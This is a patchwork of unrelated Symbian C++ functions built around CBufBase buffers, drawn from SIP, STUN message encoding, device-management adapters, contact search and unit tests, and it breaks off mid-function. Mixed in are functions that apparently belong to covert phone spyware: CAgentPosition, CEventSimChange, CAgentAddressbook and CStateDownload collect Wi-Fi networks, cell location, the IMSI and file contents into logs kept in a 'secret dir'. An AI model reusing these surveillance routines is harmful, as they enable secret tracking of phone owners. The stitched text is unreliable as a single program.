void CNcdNodeLink::InternalizeRequestL( MCatalogsBaseMessage& aMessage ) const
{
DLTRACEIN((""));
CBufBase* buf = CBufFlat::NewL( KBufExpandSize );
CleanupStack::PushL( buf );
RBufWriteStream stream( *buf );
CleanupClosePushL( stream );
// Include all the necessary node data to the stream
ExternalizeDataForRequestL( stream );
// Commits data to the stream when closing.
CleanupStack::PopAndDestroy( &stream );
if ( buf->Size() > 0 )
{
DLTRACE(( "Completing the message, buf len: %d", buf->Ptr(0).Length() ));
}
// If this leaves, ReceiveMessage function will complete the message.
aMessage.CompleteAndReleaseL( buf->Ptr( 0 ), KErrNone );
DLTRACE(("Deleting the buf"));
CleanupStack::PopAndDestroy( buf );
DLTRACEOUT((""));
}
void CNcdNodePreview::InternalizeRequestL( MCatalogsBaseMessage& aMessage )
{
DLTRACEIN((""));
CBufBase* buf = CBufFlat::NewL( KBufExpandSize );
CleanupStack::PushL( buf );
RBufWriteStream stream( *buf );
CleanupClosePushL( stream );
// Include all the necessary node data to the stream
ExternalizeDataForRequestL( stream );
// Commits data to the stream when closing.
CleanupStack::PopAndDestroy( &stream );
// If this leaves, ReceiveMessage will complete the message.
// NOTE: that here we expect that the buffer contains at least
// some data. So, make sure that ExternalizeDataForRequestL inserts
// something to the buffer.
aMessage.CompleteAndReleaseL( buf->Ptr( 0 ), KErrNone );
DLINFO(("Deleting the buf"));
CleanupStack::PopAndDestroy( buf );
DLTRACEOUT((""));
}
// -----------------------------------------------------------------------------
// CCommonTestClass::ExternalizeMPXCollectionTypeL()
// Returns: Symbian OS errors.
// -----------------------------------------------------------------------------
TInt CCommonTestClass::ExternalizeMPXCollectionTypeL()
{
FTRACE(FPrint(_L("CCommonTestClass::ExternalizeMPXCollectionTypeL testing CMPXCollectionType::ExternalizeMPXCollectionTypeL begin")));
iLog->Log(_L("CCommonTestClass::ExternalizeMPXCollectionTypeL testing CMPXCollectionType::ExternalizeMPXCollectionTypeL begin"));
TInt err = KErrNone;
if ( iType != NULL )
{
FTRACE(FPrint(_L("CCommonTestClass::ExternalizeMPXCollectionTypeL started Externalize")));
iLog->Log(_L("CCommonTestClass::ExternalizeMPXCollectionTypeL started Externalize"));
CBufBase* buffer = CBufFlat::NewL( 50 );
CleanupStack::PushL( buffer );
RBufWriteStream writeStream( *buffer );
CleanupClosePushL( writeStream );
iType->ExternalizeL( writeStream );
writeStream.CommitL();
buffer->Compress();
CleanupStack::PopAndDestroy( &writeStream );
CleanupStack::PopAndDestroy( buffer );
}
else
{
err = KErrBadTestParameter;
FTRACE(FPrint(_L("CCommonTestClass::ExternalizeMPXCollectionTypeL Stif test script is wrong.")));
iLog->Log(_L("CCommonTestClass::ExternalizeMPXCollectionTypeL Stif test script is wrong."));
}
FTRACE(FPrint(_L("CCommonTestClass::ExternalizeMPXCollectionTypeL testing CMPXCollectionType::ExternalizeMPXCollectionTypeL end err=%d"), err));
iLog->Log(_L("CCommonTestClass::ExternalizeMPXCollectionTypeL testing CMPXCollectionType::ExternalizeMPXCollectionTypeL end err=%d"), err);
return err;
}
// -----------------------------------------------------------------------------
// CSIPMessage::ToTextLC
// -----------------------------------------------------------------------------
//
EXPORT_C CBufBase* CSIPMessage::ToTextLC ()
{
CBufBase* encodedMessage = ToTextHeaderPartLC();
TInt length = encodedMessage->Ptr(0).Length();
encodedMessage->InsertL (length,*iContent);
return encodedMessage;
}
// -----------------------------------------------------------------------------
// CNATFWUNSAFMessage::EncodeMessageHeaderLC
// -----------------------------------------------------------------------------
//
CBufBase* CNATFWUNSAFMessage::EncodeMessageHeaderLC() const
{
CBufBase* header = CBufFlat::NewL(EHeaderSize);
CleanupStack::PushL(header);
TUint16 messageType = Type();
TUint16 bigEndianType(0);
BigEndian::Put16(reinterpret_cast<TUint8*>(&bigEndianType), messageType);
//First two bits of a STUN message are zero
bigEndianType = bigEndianType & EMessageTypeMask;
header->InsertL(EMessageTypeOffset, &bigEndianType, sizeof(bigEndianType));
TUint16 msgLength = 0;
//Value is zero, so it is same also in the big endian representation
header->InsertL(EMessageLengthOffset, &msgLength, sizeof(msgLength));
TUint32 bigEndianCookie(0);
BigEndian::Put32(reinterpret_cast<TUint8*>(&bigEndianCookie), EMagicCookie);
header->InsertL(EMagicCookieOffset,
&bigEndianCookie,
sizeof(bigEndianCookie));
header->InsertL(ETransactionIDOffset,
iTransactionID,
KMaxNATFWUNSAFTransactionIdLength);
return header;
}
// -----------------------------------------------------------------------------
// CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL( const TDesC8& aURI,
// const TDesC8& aLUID, const TDesC8& aType, const TInt aResultsRef,
// const TInt aStatusRef )
// -----------------------------------------------------------------------------
void CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL( const TDesC8& aURI,
const TDesC8& /*aLUID*/,
const TDesC8& aType,
const TInt aResultsRef,
const TInt aStatusRef )
{
_DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL(): begin");
CBufBase *object = CBufFlat::NewL( 1 );
CleanupStack::PushL( object );
CSmlDmAdapter::TError retValue = FetchLeafObjectL( aURI, *object );
TInt objSizeInBytes = object->Size();
TBuf8<KNSmlMaxSizeBufferLength> stringObjSizeInBytes;
stringObjSizeInBytes.Num( objSizeInBytes );
object->Reset();
object->InsertL( 0, stringObjSizeInBytes );
iDmCallback->SetStatusL( aStatusRef, retValue );
iDmCallback->SetResultsL( aResultsRef, *object, aType);
CleanupStack::PopAndDestroy(); //object
_DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL(): end");
}
void ut_cstunbinding::UT_CSTUNBinding_HandleDataLL( )
{
_LIT8( KPassword,"aaaabbbbccccdddd");
TBufC8<16> password( KPassword );
_LIT8( KTransactionId,"aaaabbbb");
TNATFWUNSAFTransactionID transactionID;
transactionID.Copy( KTransactionId );
CNATFWUNSAFBindingRequest* request = CNATFWUNSAFBindingRequest::NewLC( transactionID );
CBufBase* msg = request->EncodeL( password );
CleanupStack::PushL( msg );
TInt length = msg->Size();
HBufC8* readBuf1 = HBufC8::NewLC( length );
TPtr8 writable1( readBuf1->Des() );
msg->Read( 0, writable1 );
TInetAddr remoteAddr;
TBool consumed = EFalse;
HBufC8* ptr = iBinding->HandleDataL( *readBuf1, consumed, remoteAddr );
EUNIT_ASSERT( NULL == ptr );
EUNIT_ASSERT( EFalse == consumed );
delete ptr;
CleanupStack::PopAndDestroy( readBuf1 );
CleanupStack::PopAndDestroy( msg );
CleanupStack::PopAndDestroy( request );
}
HBufC8* CAgentPosition::GetWiFiBufferL(TLocationAdditionalData* additionalData)
{
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
CWlanScanInfo* scanInfo=CWlanScanInfo::NewL();
CleanupStack::PushL(scanInfo);
CWlanMgmtClient* client=CWlanMgmtClient::NewL();
CleanupStack::PushL(client);
client->GetScanResults(*scanInfo);
for(scanInfo->First(); !scanInfo->IsDone(); scanInfo->Next() )
{
TWiFiInfo wifiInfo;
Mem::FillZ(&wifiInfo,sizeof(wifiInfo));
//Retrieve BSSID
TWlanBssid bssid;
scanInfo->Bssid( bssid );
//wifiInfo.macAddress.Zero();
//wifiInfo.macAddress.Copy(bssid);
for(TInt k = 0; k < bssid.Length(); k++)
wifiInfo.macAddress[k] = bssid[k];
//Retrieve transmision level
TInt8 rxLevel = scanInfo->RXLevel();
wifiInfo.rssi = rxLevel;
//Retrieve SSID
TBuf8<36> ssid;
TInt err;
err = GetSSID(scanInfo, ssid);
if(err == KErrNone)
{
wifiInfo.ssidLen = ssid.Length();
for(TInt i=0; i<wifiInfo.ssidLen; i++)
wifiInfo.ssid[i] = ssid[i];
}
else
{
wifiInfo.ssidLen = 0;
}
additionalData->uStructNum += 1;
buffer->InsertL(buffer->Size(), &wifiInfo, sizeof(TWiFiInfo));
}
CleanupStack::PopAndDestroy(client);
CleanupStack::PopAndDestroy(scanInfo);
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
//Encode UNSAF message with two attributes
void UT_CNATFWUNSAFMessage::TestEncode4L()
{
const TUint8 KExpectedResult[] =
{
0, 1, //UNSAF message type: Binding Request
0, 36, //Message length
0x21, 0x12, 0xa4, 0x42, //Magic cookie
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID
//ERROR-CODE attribute
0, 9, //type
0, 20, //length of value element
0, 0, //zero
2, //class
25, //number
'E', 'r', 'r', 'o', //Reason Phrase
'r', ' ', 'r', 'e',
's', 'u', 'l', 't',
' ', 'n', 'o', 'w',
//UNKNOWN-ATTRIBUTES attribute
0, 0xa, //type
0, 8, //length of value element
0x12, 0x34, //first unknown attribute
0xab, 0x0c,
0xff, 0x90,
0x12, 0x34 //repeated attribute
};
_LIT8(KReason, "Error result now");
TInt responseCode = 225;
CNATFWUNSAFAttribute* attr =
CNATFWUNSAFErrorCodeAttribute::NewLC(responseCode, KReason);
iMsg->AddAttributeL(attr);
CleanupStack::Pop(attr);
attr = NULL;
TUint attrType = 0x1234;
TUint attrType2 = 0xab0c;
TUint attrType3 = 0xff90;
CNATFWUNSAFUnknownAttributesAttribute* uaAttr =
CNATFWUNSAFUnknownAttributesAttribute::NewLC();
uaAttr->AddContainedAttributeL(attrType);
uaAttr->AddContainedAttributeL(attrType2);
uaAttr->AddContainedAttributeL(attrType3);
iMsg->AddAttributeL(uaAttr);
CleanupStack::Pop(uaAttr);
CBufBase* msg = iMsg->EncodeL();
CleanupStack::PushL(msg);
EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 36 == msg->Size());
CompareEncodedUNSAFMessageL(KExpectedResult, *msg);
CleanupStack::PopAndDestroy(msg);
}
// ----------------------------------------------------------------------------
// TTCPCompMsgEnd::DataReceivedL
// ----------------------------------------------------------------------------
//
void TTCPCompMsgEnd::DataReceivedL( TPtr8 aData, TUint& aNextLength )
{
// panic if sigcomp is not supported in debug mode.leaves in release mode.
__SIP_ASSERT_LEAVE( iMsgAssembler.SigComp().IsSupported(), KErrGeneral );
// panic if received data is not compressed in debug mode.
// leaves in release mode.
__SIP_ASSERT_LEAVE( iMsgAssembler.SigComp().IsSigCompMsg( aData ),
KErrGeneral );
// panic if received data is not completed compressed msg in debug mode.
// leaves in release mode.
__SIP_ASSERT_LEAVE(
iMsgAssembler.SigComp().IsCompleteSigCompMessageL( aData ),
KErrGeneral );
TUint bytesConsumed( 0 );
CBufBase* decompressedData = iMsgAssembler.SigComp().DecompressL(
aData, bytesConsumed, ETrue);
TUint dataLen( static_cast<TUint>( aData.Length() ) );
// Whole data was not decompressed and non-decompressed data might
// be part of next sigcomp message, remember amount of non-decompressed
// data
iMsgAssembler.SetUnConsumedBytes( dataLen - bytesConsumed );
if ( bytesConsumed < dataLen )
{
CleanupStack::PushL(decompressedData);
aData.Delete(0, bytesConsumed);
HBufC8* newData =
HBufC8::NewL( decompressedData->Size() + aData.Length() );
// copy the msg buffer data and the received data to new data buffer
TPtr8 newDataPtr = newData->Des();
newDataPtr.Append(decompressedData->Ptr(0));
CleanupStack::PopAndDestroy(decompressedData);
newDataPtr.Append(aData);
// delete all content of received data
aData.Delete( 0, aData.Length() );
CleanupStack::PushL(newData);
DecideNextStateL( newDataPtr, aNextLength );
CleanupStack::PopAndDestroy(newData);
}
else if ( bytesConsumed == dataLen )
{
CleanupStack::PushL( decompressedData );
aData.Delete(0, bytesConsumed);
TPtr8 decompressedDataPtr = decompressedData->Ptr(0);
DecideNextStateL( decompressedDataPtr, aNextLength );
CleanupStack::PopAndDestroy( decompressedData );
}
else // bytesConsumed > dataLen error happens, reset the state
{
delete decompressedData;
iMsgAssembler.ChangeState( MMsgAssemblerContext::EMsgInit );
}
}
// --------------------------------------------------------------------------
// CNSmlDmAOAdapter::FetchLeafObjectSizeL
// Fetches leaf object size.
// -------------------------------------------------------------------------
void CNSmlDmAOAdapter::FetchLeafObjectSizeL( const TDesC8& aURI,
const TDesC8& aLUID,
const TDesC8& /* aType */,
TInt aResultsRef,
TInt aStatusRef )
{
LOGSTRING( "CNSmlDmAOAdapter::FetchLeafObjectSizeL: Start" );
LOGSTRING3( "\tFetchLeafObjectSizeL \tURI: %S, \tLUID: %S,",
&aURI, &aLUID );
CSmlDmAOCommandElement* cmd =
CSmlDmAOCommandElement::NewLC( ETrue,
aStatusRef,
aResultsRef,
CNSmlDmAOAdapter::EGetSizeCmd,
LastURISeg( aURI ),
KNullDesC8);
TInt luid( KDefaultLuid );
if ( aLUID.Length() > 0 )
{
luid = DesToIntL( aLUID );
}
iSettingStore->ExecuteCmdL( *cmd, luid );
LOGSTRING2( "\tCmd executed with status: %d ",
cmd->Status() );
// if executed get status
if ( cmd->Executed() )
{
Callback().SetStatusL( aStatusRef, cmd->Status() );
// if successful get results
if ( cmd->Status() == CSmlDmAdapter::EOk )
{
LOGSTRING2( "\tCmd executed with result: %S ",
cmd->Data() );
CBufBase* result = CBufFlat::NewL( cmd->Data()->Size() );
CleanupStack::PushL( result );
result->InsertL( 0, *cmd->Data() );
Callback().SetResultsL( aResultsRef, *result, KNullDesC8 );
CleanupStack::PopAndDestroy( result );
}
}
else
{
// failed to execute command
Callback().SetStatusL( aStatusRef, CSmlDmAdapter::EError );
}
CleanupStack::PopAndDestroy( cmd );
LOGSTRING( "CNSmlDmAOAdapter::FetchLeafObjectSizeL: End" );
}
/**
Searches all contact items in the view for fields that contain the search
strings specified.
@capability ReadUserData
@param aFindWords A descriptor array containing one or more search strings
@param aMatchedContacts On return, an array of matching contact items
@param find behaviour configuration uid to be passed to the server.
*/
void RContactRemoteView::ContactsMatchingCriteriaL(const MDesCArray& aFindWords, RPointerArray<CViewContact>& aMatchedContacts, TBool aPrefixSearch,TUid aUid)
{
if(aUid != KNullUid)
{
TIpcArgs args(aUid.iUid);
User::LeaveIfError(SendReceive(ECntSendPluginUidToServer,args));
}
CBufBase* buffer = CBufFlat::NewL(32);
CleanupStack::PushL(buffer);
RBufWriteStream writeStream(*buffer);
CleanupClosePushL(writeStream);
writeStream.WriteUint32L(aPrefixSearch);
const TInt count = aFindWords.MdcaCount();
writeStream.WriteUint32L(count);
for (TInt i=0; i<count; ++i)
{
TPtrC ptr = aFindWords.MdcaPoint(i);
writeStream.WriteUint32L(ptr.Length());
writeStream << ptr;
}
writeStream.CommitL();
CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close()
TPtr8 ptr(buffer->Ptr(0));
const TInt bufferSize = buffer->Size();
TPckg<TInt> size(bufferSize);
TPckgBuf<TInt> pckg;
TIpcArgs args(&pckg,&size,&ptr);
User::LeaveIfError(SendReceive(ECntContactMatchingCriteriaExternalizedSize,args));
CleanupStack::PopAndDestroy(buffer);
//Internalize Contacts
HBufC8* buf=HBufC8::NewLC(pckg());
TPtr8 contactsbufPtr(buf->Des());
TIpcArgs args2(&contactsbufPtr);
User::LeaveIfError(SendReceive(ECntGetContactMatchingCriteria,args2));
RDesReadStream readStream(contactsbufPtr);
CleanupClosePushL(readStream);
const TInt findCount = readStream.ReadUint32L();
for (TInt zz=0;zz<findCount;++zz)
{
CViewContact* thisContact = CViewContact::NewLC(KNullContactId);
readStream >> *thisContact;
aMatchedContacts.AppendL(thisContact);
CleanupStack::Pop(thisContact);
}
CleanupStack::PopAndDestroy(2, buf);
}
void CStateDownload::DumpFileL(const TDesC& aFileName)
{
_LIT(KNull,"\x00");
_LIT(KDir,"$dir$");
TDownloadAdditionalData additionalData;
//check if file it's inside RCS secret dir
TParsePtrC parsePtrC(aFileName);
if(iPrivatePath.CompareF(parsePtrC.DriveAndPath())==0)
{
//the file is in the private dir, we have to modify the path
additionalData.fileName.Copy(KDir);
additionalData.fileName.Append(parsePtrC.NameAndExt());
additionalData.fileName.Append(KNull); //add NULL terminator
additionalData.uFileNamelen = additionalData.fileName.Size();
}
else
{
additionalData.fileName.Copy(aFileName);
additionalData.fileName.Append(KNull); //add NULL terminator
additionalData.uFileNamelen = additionalData.fileName.Size();
}
RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, aFileName));
if(fileBuf.Size()>0)
{
fileBuf.CleanupClosePushL();
CLogFile* logFile = CLogFile::NewLC(iFs);
logFile->CreateLogL(LOGTYPE_DOWNLOAD, &additionalData);
logFile->AppendLogL(fileBuf);
logFile->CloseLogL();
CleanupStack::PopAndDestroy(logFile);
CleanupStack::PopAndDestroy(&fileBuf);
}
else
{
//something went wrong, usually a KErrNoMemory has been raised
_LIT(KDownloadError,"Error in downloading file");
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
buffer->InsertL(buffer->Size(),(TUint8*)KDownloadError().Ptr(),KDownloadError().Size());
HBufC8* byteBuf = buffer->Ptr(0).AllocLC();
CLogFile* logFile = CLogFile::NewLC(iFs);
logFile->CreateLogL(LOGTYPE_INFO);
logFile->AppendLogL(*byteBuf);
logFile->CloseLogL();
CleanupStack::PopAndDestroy(logFile);
CleanupStack::PopAndDestroy(byteBuf);
CleanupStack::PopAndDestroy(buffer);
}
}
// ------------------------------------------------------------------------
// CNSmlDmAOAdapter::ChildURIListL
// Fetches child nodes of a node. these may be either all VENDORCONFIG
// nodes or leaf nodes under a VENDORCONFIG node.
// ------------------------------------------------------------------------
void CNSmlDmAOAdapter::ChildURIListL( const TDesC8& aURI,
const TDesC8& aLUID,
const CArrayFix<TSmlDmMappingInfo>&
/*aPreviousURISegmentList*/,
TInt aResultsRef,
TInt aStatusRef )
{
LOGSTRING( "CNSmlDmAOAdapter::ChildURIListL: Start" );
LOGSTRING3( "\tChildURIListL URI: %S, LUID: %S ",
&aURI, &aLUID );
CBufBase* resultList = CBufFlat::NewL( KSmlMaxURISegLen );
CleanupStack::PushL( resultList );
// get all leaf nodes below VENDORCONFIG node
if ( !aURI.Compare( KNSmlDmAOAdapterAO ) )
{
CSmlDmAOCommandElement* cmd =
CSmlDmAOCommandElement::NewLC( EFalse,
aStatusRef,
aResultsRef,
CNSmlDmAOAdapter::EGetCmd,
KNullDesC8,
KNullDesC8 );
TInt luid( KDefaultLuid );
if ( aLUID.Length() > 0 )
{
luid = DesToIntL( aLUID );
}
iSettingStore->ExecuteCmdL( *cmd, luid );
LOGSTRING2( "\tCmd executed with status: %d ",
cmd->Status() );
Callback().SetStatusL( aStatusRef, cmd->Status() );
if( cmd->Status() == CSmlDmAdapter::EOk )
{
resultList->InsertL( 0, *cmd->Data() );
Callback().SetResultsL( aResultsRef,
*resultList,
KNullDesC8 );
}
CleanupStack::PopAndDestroy( cmd );
}
CleanupStack::PopAndDestroy( resultList );
LOGSTRING( "CNSmlDmAOAdapter::ChildURIListL: End" );
}
HBufC8* CEventSimChange::GetImsiBufferL(const TDesC8& aImsi)
{
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
TUint32 len = sizeof(len) + aImsi.Size();
buffer->InsertL(buffer->Size(), &len, sizeof(len));
buffer->InsertL(buffer->Size(), aImsi.Ptr(), aImsi.Size());
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
// ------------------------------------------------------------------------------------------------
// CNSmlDataModBase::StripTxL
// Strips data that is to be transmitted to the sync partner.
// ------------------------------------------------------------------------------------------------
EXPORT_C void CNSmlDataModBase::StripTxL( CBufBase& aItem )
{
_DBG_FILE("CNSmlDataModBase::StripTxL(): begin");
HBufC8* buf = HBufC8::NewLC(aItem.Size());
*buf = aItem.Ptr(0);
TPtr8 ptrBuf = buf->Des();
StripL(ptrBuf);
aItem.Reset();
aItem.InsertL(0, ptrBuf);
CleanupStack::PopAndDestroy(); // buf
_DBG_FILE("CNSmlDataModBase::StripTxL(): end");
}
HBufC8* CAgentAddressbook::GetTTimeBufferL(const TTime aTime)
{
TInt64 timestamp = aTime.Int64();
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
TUint32 len = sizeof(len) + sizeof(timestamp);
buffer->InsertL(buffer->Size(), &len, sizeof(len));
buffer->InsertL(buffer->Size(), ×tamp, sizeof(timestamp));
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
void UT_CNATFWUNSAFMessage::TestSetMessageLengthL()
{
//UNSAF message, no attributes
CBufBase* msg = iMsg->EncodeL();
CleanupStack::PushL(msg);
iMsg->SetMessageLength(*msg);
TInt expected = 0; //just the header
TInt actual =
BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]);
EUNIT_ASSERT(expected == actual);
CleanupStack::PopAndDestroy(msg);
}
DMAD_EXPORT_C void CDmAdEngine::CopyCommandL(const TDesC8& aTargetUri,
const TDesC8& aTargetLuid,
const TDesC8& aSourceUri,
const TDesC8& aSourceLuid,
const TDesC8& aType,
TInt aStatusRef)
{
TRACE("CDmAdEngine::CopyCommandL");
DEBUG_LOG1(_L8("aTargetUri = %S"), &aTargetUri);
DEBUG_LOG1(_L8("aTargetLuid = %S"), &aTargetLuid);
DEBUG_LOG1(_L8("aSourceUri = %S"), &aSourceUri);
DEBUG_LOG1(_L8("aSourceLuid = %S"), &aSourceLuid);
DEBUG_LOG1(_L8("aType = %S"), &aType);
DEBUG_LOG1(_L("aStatusRef = %d"), aStatusRef);
TInt err = KErrNone;
TPtrC8 sourceUri(TDmAdUtil::RemoveDotSlash(aSourceUri));
TInt status = KErrNone;
CBufBase* object = 0;
TRAP(err, status = DoFetchLeafObjectL(sourceUri, aSourceLuid, aType, object));
if (err != KErrNone)
{
iCallBack->SetStatusL(aStatusRef, err);
return;
}
if (status != KErrNone)
{
delete object;
iCallBack->SetStatusL(aStatusRef, status);
return;
}
CleanupStack::PushL(object);
DEBUG_LOG(_L("object:"));
DEBUG_LOG_HEX(object->Ptr(0));
TPtrC8 targetUri(TDmAdUtil::RemoveDotSlash(aTargetUri));
TRAP(err, DoUpdateLeafObjectL(targetUri, aTargetLuid, object->Ptr(0), aType, aStatusRef));
if (err != KErrNone)
{
iCallBack->SetStatusL(aStatusRef, err);
}
CleanupStack::PopAndDestroy(); // object
}
//Encode UNSAF message with two attributes
void UT_CNATFWUNSAFMessage::TestEncode3L()
{
const TUint8 KExpectedResult[] =
{
0, 1, //UNSAF message type: Binding Request
0, 24, //Message length
0x21, 0x12, 0xa4, 0x42, //Magic cookie
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID
//RESPONSE-ADDRESS attribute
0, 2, //type
0, 8, //length of value element
0, //undefined
1, //family
0xab, 0xcd, //port
5, 6, 7, 8, //address
//MAPPED-ADDRESS attribute
0, 1, //type
0, 8, //length of value element
0, //undefined
1, //family
0x12, 0x34, //port
0x50, 0x40, 0xff, 0xaa //address
};
TInetAddr addr(INET_ADDR(5,6,7,8), 0xabcd);
CNATFWUNSAFAttribute* attr =
CNATFWUNSAFResponseAddressAttribute::NewLC(addr);
iMsg->AddAttributeL(attr);
CleanupStack::Pop(attr);
attr = NULL;
TInetAddr addr2(0x5040ffaa, 0x1234);
attr = CNATFWUNSAFMappedAddressAttribute::NewLC(addr2);
iMsg->AddAttributeL(attr);
CleanupStack::Pop(attr);
CBufBase* msg = iMsg->EncodeL();
CleanupStack::PushL(msg);
EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 24 == msg->Size());
CompareEncodedUNSAFMessageL(KExpectedResult, *msg);
CleanupStack::PopAndDestroy(msg);
}
// -----------------------------------------------------------------------------
// CCommonTestClass::MpxAttStreamingL()
// Returns: Symbian OS errors.
// -----------------------------------------------------------------------------
TInt CCommonTestClass::MpxAttStreamingL(CStifItemParser& aItem)
{
FTRACE(FPrint(_L("CCommonTestClass::MpxAttStreamingL testing TMPXAttribute ExternalizeL and InternalizeL begin")));
iLog->Log(_L("CCommonTestClass::MpxAttStreamingL testing TMPXAttribute ExternalizeL and InternalizeL begin"));
TInt err=KErrNone;
TUint index;
// read in parameters
if ( aItem.GetNextInt(index) )
{
iLog->Log(_L("Missing Parameter: index."));
return KErrBadTestParameter;
}
if ( index >= iMPXAttArray.Count() )
{
iLog->Log(_L("Bad Parameter: index out of range."));
return KErrBadTestParameter;
}
FTRACE(FPrint(_L("CCommonTestClass::MpxAttStreamingL started ExternalizeL")));
iLog->Log(_L("CCommonTestClass::MpxAttStreamingL started ExternalizeL"));
CBufBase* buffer = CBufFlat::NewL( 50 );
CleanupStack::PushL( buffer );
RBufWriteStream writeStream( *buffer );
CleanupClosePushL( writeStream );
iMPXAttArray[index].ExternalizeL( writeStream );
writeStream.CommitL();
buffer->Compress();
CleanupStack::PopAndDestroy( &writeStream );
FTRACE(FPrint(_L("CCommonTestClass::MpxAttStreamingL started InternalizeL")));
iLog->Log(_L("CCommonTestClass::MpxAttStreamingL started InternalizeL"));
RBufReadStream readStream( *buffer );
CleanupClosePushL( readStream );
TMPXAttribute att;
att.InternalizeL( readStream );
CleanupStack::PopAndDestroy( &readStream );
CleanupStack::PopAndDestroy( buffer );
// verify streaming was correct
if ( !TMPXAttribute::Match(att, iMPXAttArray[index]) )
{
iLog->Log(_L("Streaming Failed Verification."));
err = KErrUnexpectedValue;
}
return err;
}
HBufC8* CAgentPosition::GetCellIdBufferL()
{
TUint cellId=0;
TUint lac=0;
TInt32 signalStrength = 0;
TBuf<CTelephony::KNetworkIdentitySize> network;
TBuf<CTelephony::KNetworkCountryCodeSize> cc;
TBuf<CTelephony::KNetworkLongNameSize> oper;
iPhone->GetCellIDSync(cellId, lac, network, cc, oper);
iPhone->GetSignalStrengthSync(signalStrength); // signalStrength is set to 0 if not available
cellId = cellId & 0xFFFF; // jo, maybe redundant
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
TCellInfo cellInfo;
TTime now;
now.UniversalTime();
//TInt64 filetime = GetFiletime(now);
TInt64 filetime = TimeUtils::GetFiletime(now);
cellInfo.filetime.dwHighDateTime = (filetime >> 32);
cellInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF);
// Converts CountryCode from string to number
TLex lex(cc);
lex.Val(cellInfo.cell.dwMobileCountryCode, EDecimal);
// Converts NetworkCode from string to number
lex.Assign(network);
lex.Val(cellInfo.cell.dwMobileNetworkCode, EDecimal);
cellInfo.cell.dwLocationAreaCode = lac;
cellInfo.cell.dwCellID = cellId;
cellInfo.cell.dwTimingAdvance = 0; // there are no public APIs for this
cellInfo.cell.dwRxLevel = signalStrength;
cellInfo.cell.dwRxQuality = 0;
TUint32 type = TYPE_CELL;
buffer->InsertL(0, &type, sizeof(TUint32));
buffer->InsertL(buffer->Size(), &cellInfo, sizeof(TCellInfo));
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
// --------------------------------------------------------------------------
// CNSmlDmAOAdapter::DDFVersionL
// Returns ddf version nr
// --------------------------------------------------------------------------
void CNSmlDmAOAdapter::DDFVersionL( CBufBase& aDDFVersion )
{
LOGSTRING( "CNSmlDmAOAdapter::DDFVersionL: Start" );
aDDFVersion.InsertL( 0, KNSmlDmAOAdapterDDFVersion );
LOGSTRING( "CNSmlDmAOAdapter::DDFVersionL:End" );
}
//Encode UNSAF message without any attributes
void UT_CNATFWUNSAFMessage::TestEncodeL()
{
const TUint8 KExpectedResult[] =
{
0, 1, //UNSAF message type: Binding Request
0, 0, //Message length
0x21, 0x12, 0xa4, 0x42, //Magic cookie
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb //TransactionID
};
CBufBase* msg = iMsg->EncodeL();
CleanupStack::PushL(msg);
EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize == msg->Size());
CompareEncodedUNSAFMessageL(KExpectedResult, *msg);
CleanupStack::PopAndDestroy(msg);
}
void UT_CNATFWUNSAFMessage::TestSetMessageLength3L()
{
const TInt KGranularity = 50;
_LIT8(KBufferContents,
"some stuff to put into the buffer and then check the length is computed correctly");
CBufBase* msg = CBufFlat::NewL(KGranularity);
CleanupStack::PushL(msg);
msg->InsertL(0, KBufferContents);
iMsg->SetMessageLength(*msg);
TInt expected = KBufferContents().Length() - CNATFWUNSAFMessage::EHeaderSize;
TInt actual =
BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]);
EUNIT_ASSERT(expected == actual);
CleanupStack::PopAndDestroy(msg);
}
// -----------------------------------------------------------------------------
// CNATFWUNSAFAttribute::EncodeL
// -----------------------------------------------------------------------------
//
HBufC8* CNATFWUNSAFAttribute::EncodeL() const
{
HBufC8* value = EncodeValueL();
CleanupStack::PushL(value);
TInt attrValLength = value->Length();
//Pad non-DWORD-boundary aligned attributes with spaces if needed. Spaces
//used instead of \0 in order to not mess up buggy C implementations.
const TInt KGranularity = 4;
TInt bytesInLastBlock = attrValLength % KGranularity;
TInt bytesToAppend = KGranularity - bytesInLastBlock;
if (0 < bytesInLastBlock && !IsWordBoundaryAligned(Type()))
{
CBufBase* valueBuf = CBufFlat::NewL(attrValLength + bytesToAppend);
CleanupStack::PushL(valueBuf);
valueBuf->InsertL(0, *value, attrValLength);
const TChar KSpace(' ');
for (TInt i = 0; i < bytesToAppend; ++i)
{
valueBuf->InsertL(valueBuf->Size(), &KSpace, 1);
}
// Store value pointer for proper cleanupstack handling
HBufC8* oldValue = value;
value = valueBuf->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(valueBuf);
CleanupStack::PopAndDestroy( oldValue );
CleanupStack::PushL( value );
}
HBufC8* attribute = HBufC8::NewLC(value->Length() + EValueOffset);
TPtr8 ptr = attribute->Des();
ptr.FillZ(EValueOffset);
NATFWUNSAFUtils::WriteNetworkOrder16L(ptr, ETypeOffset, Type());
NATFWUNSAFUtils::WriteNetworkOrder16L(ptr,
ELengthOffset,
